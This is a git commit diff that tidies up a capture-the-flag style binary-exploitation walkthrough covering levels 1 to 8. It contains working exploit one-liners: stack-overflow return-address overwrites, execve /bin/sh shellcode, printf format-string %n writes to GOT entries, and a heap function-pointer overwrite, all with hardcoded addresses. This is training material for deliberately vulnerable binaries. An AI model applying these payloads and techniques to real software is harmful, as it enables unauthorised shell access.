fix: bunch of improvements and typos in the walkthrough
This commit is contained in:
parent
ca011b34f4
commit
fb1ba7aee8
@ -1 +1 @@
|
||||
(python -c 'print("a"*76 + "\x44\x84\x04\x08")'; cat) | ./level1
|
||||
(python -c 'print("A"*76 + "\x44\x84\x04\x08")'; cat) | ./level1
|
||||
|
@ -1,4 +1,11 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void run(void)
|
||||
{
|
||||
fwrite("Good... Wait what?\n", 1, 19, stdout);
|
||||
system("/bin/sh");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
@ -1,9 +1,9 @@
|
||||
# Level1
|
||||
|
||||
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`.
|
||||
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets()`.
|
||||
We can exploit this call to overflow the stack and call another function.
|
||||
In the binary, there is a function `run()` located at address 0x8048444 that runs `/bin/sh`.
|
||||
In the binary, there is a function `run()` located at address 0x8048444 that calls `system("/bin/sh")`.
|
||||
To exploit this, we can use this sh command with this inline python script:
|
||||
`(print('a'*76 + "\x44\x84\x04\x08"); cat) | ./level1`
|
||||
This will print `run()`'s address on the stack, after the buffer being written to by `gets`, resulting in a call to the function.
|
||||
`(print('A'*76 + "\x44\x84\x04\x08"); cat) | ./level1`
|
||||
This will print `run()`'s address to `eip`, after the buffer being written to by `gets()`, resulting in a call to the function.
|
||||
The parenthesis and the `cat` are mandatory to make it blocking and keep the shell opened.
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Level2
|
||||
|
||||
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`.
|
||||
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets()`.
|
||||
Then, it will check if the return address hasn't been overwritten to and thus prevent us to exploit this vulnerability...
|
||||
Since it calls `strdup` at the end of the program, we can insert a piece of code executing a linux shell through asm instructions. This will be copied to the heap, and since the ASLR is disabled, the address of where `strdup` will copy the content of the buffer will always be the same (we can find it using `ltrace ./binary`).
|
||||
Since it calls `strdup()` at the end of the program, we can insert a shellcode (asm instructions opening a shell). This will be copied to the heap, and since the ASLR is disabled, the address of where `strdup()` will copy the content of the buffer will always be the same (we can find it using `ltrace ./level2`).
|
||||
|
||||
For the payload, everything is explained here (thanks cocomelonc UwU):
|
||||
For the shellcode, everything is explained here (thanks cocomelonc UwU):
|
||||
https://cocomelonc.github.io/tutorial/2021/10/09/linux-shellcoding-1.html
|
||||
|
||||
We can then execute this command (similar to the previous one):
|
||||
`(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A" * 55 + "\x08\xa0\x04\x08"' ; cat) | ./level2`
|
||||
Where we copy our linux shell code to the heap, then fill the buffer until after `eip`.
|
||||
Basically, we copy our shell code to the heap, then fill the buffer until after `eip`.
|
||||
Finally, we can insert the address where our code has been copied so it will be executed when the `return` instruction is called.
|
||||
|
@ -1 +1 @@
|
||||
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4
|
||||
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4
|
||||
|
@ -14,4 +14,4 @@ Since we cannot pass arguments to printf directly, we need to specify the positi
|
||||
Finally, we print the 16930112 bytes (+ 4 bytes for the address have already been printed) so that `m == 16930116`.
|
||||
Unfortunately, unlike the previous level, we cannot print all the bytes directly in the buffer. For this, we will use printf's padding feature to print the right number of bytes.
|
||||
Here is the command:
|
||||
`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4`
|
||||
`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4`
|
||||
|
@ -1,7 +1,7 @@
|
||||
# Level5
|
||||
|
||||
Using ghidra, we can decompile the code and see that it fills a buffer of 520 bytes using `fgets`.
|
||||
This buffer will then be passed directly as a parameter to `printf`. This allows us to print whatever we want (e.g dump the stack, change variables).
|
||||
Using ghidra, we can decompile the code and see that it fills a buffer of 520 bytes using `fgets()`.
|
||||
This buffer will then be passed directly as a parameter to `printf()`. This allows us to print whatever we want (e.g dump the stack, change variables).
|
||||
Our goal here will be to change the value of the `jmp` of `exit()` to the address of `o()`, opening a shell.
|
||||
|
||||
To do so, we will first dump the stack to know where the buffer is located.
|
||||
@ -9,6 +9,8 @@ Let's print something basic like `print("AAAA" + "%x"*20)`. We can see that 0x41
|
||||
Now that we know where our buffer is located on the stack, let's exploit printf.
|
||||
|
||||
By using the `%n` flag, we can change the value of a variable to the length of what's been printed before (here, o's address).
|
||||
We can get both `jmp` instruction's address and `o`'s address using gdb.
|
||||
Let's overwrite the GOT address of `exit()` by the address of `o()`.
|
||||
We can get both addresses using gdb.
|
||||
|
||||
Putting these all together, here is the command:
|
||||
`(python -c 'print "\x38\x98\x04\x08" + "%134513824p" + "%4$n"'; cat) | ./level5`
|
||||
|
@ -1,9 +1,10 @@
|
||||
# Level6
|
||||
|
||||
Using ghidra, we can decompile the code and see that it calls `malloc` twice.
|
||||
The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` function by default (prints "Nope."). We want to change its value to point to the correct function `n()` that will open a shell.
|
||||
Using ghidra, we can decompile the code and see that it calls `malloc()` twice.
|
||||
The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` printing `"Nope."`. We want to change its value to point to the correct function `n()` that will open a shell.
|
||||
To achieve this, we will overflow the first malloc and the second one's header so that we can write the adress through the input in `av[1]`.
|
||||
To calculate the offset between the 2 allocations, we used gdb's breakpoints and prints, leading us to an offset of 72 bytes (64 + 8).
|
||||
We just need to print 72 bytes followed by the address of `n()`.
|
||||
|
||||
Here is the command:
|
||||
./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"')
|
||||
|
@ -4,9 +4,9 @@ Using ghidra, we can decompile the code and see that it allocates 2 variables (s
|
||||
It will then `strcpy()` the content of av[1] and av[2] to s1[1] and s2[1], exposing the program to a buffer overflow.
|
||||
After that, the program opens a file stream on `/home/user/level8/.pass` and writes its content to the global buffer `c[80]`. This buffer is also used in an external function `m()` that will print the content of c.
|
||||
Finally, we have a call to `puts("~~")` that we're going to use to call the function `m()` instead of printing its string.
|
||||
In order to do this, we have to overwrite the GOT at the address of `puts()` and replace it by the address of `m()`.
|
||||
In order to do this, we have to overwrite the GOT at the address of `puts()` with `m()`'s address.
|
||||
Remember we have 2 pointer dereferences, we're going to use this to write what we want at the address we want.
|
||||
Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g., the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`.
|
||||
Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g, the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`.
|
||||
|
||||
Here is the command:
|
||||
`./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')`
|
||||
|
@ -1 +1 @@
|
||||
(python -c 'print "auth \nservice" + "A" * 34 + "\n" + "login\n"'; cat) | ./level8
|
||||
(python -c 'print "auth \nservice" + "A" * 33 + "\n" + "login\n"'; cat) | ./level8
|
||||
|
@ -2,12 +2,13 @@
|
||||
|
||||
Using ghidra, we can decompile the code and see that it loops on a `fgets()` and does a bunch of `memcmp()` with its buffer.
|
||||
First of all, we have 2 global variables, `char *auth` and `int service`. Also, we have 3 local buffers (`s`, `v5` and `v6`) with respective sizes of 5, 2 and 129.
|
||||
We can see that they are being changed in 2 different `if memcmp()`.
|
||||
We can see that they are being changed in 2 different `if (!memcmp())`.
|
||||
The first one is when we input `"auth "`. It will allocate 4 bytes to `auth`, then set `auth[0]` to 0.
|
||||
The second one is when we input `"service"`. It will `strdup()` the content of `v6` (a random buffer on the stack) to `service`. This is interesting because we can overflow the first buffer `s` (through `fgets(s, 128, stdin)`)until we reach `v6`, thus allowing us to write whatever we want to service. Since `service` is an int, it will overflow to the next variable, which is `char *auth`.
|
||||
The second one is when we input `"service"`. It will `strdup()` the content of `v6` (a random buffer on the stack) to `service`. This is interesting because we can overflow the first buffer `s` (through `fgets(s, 128, stdin)`) until we reach `v6`, thus allowing us to write whatever we want to service. Since `service` is an int, it will overflow to the next variable, which is `char *auth`.
|
||||
To make this vulnerability useful, let's see the last `memcmp()`.
|
||||
This last `if memcmp()` is triggered with the input `"login"`. It then has an `if/else`, that will open a shell (what we want) in case `auth[32] != 0`.
|
||||
Here comes the interesting part, remember we could overflow on `auth` through the `strdup` on `service`.
|
||||
This last `if (!memcmp())` is triggered with the input `"login"`. It then has an `if/else`, that will open a shell (what we want) in case `auth[32] != 0`.
|
||||
Here comes the interesting part, remember we could overflow on `auth` through the `strdup()` on `service`.
|
||||
We're going to overflow 33 bytes from the `fgets()` after `"service"` so it overwrites the 33th byte of `auth` (since `"service"` already overwrites `s` by 2 bytes), opening a shell.
|
||||
|
||||
Here's the full exploit:
|
||||
`(python -c 'print "auth \nservice" + "A" * 34 + "\n" + "login\n"'; cat) | ./level8`
|
||||
`(python -c 'print "auth \nservice" + "A" * 33 + "\n" + "login\n"'; cat) | ./level8`
|
||||
|
Loading…
Reference in New Issue
Block a user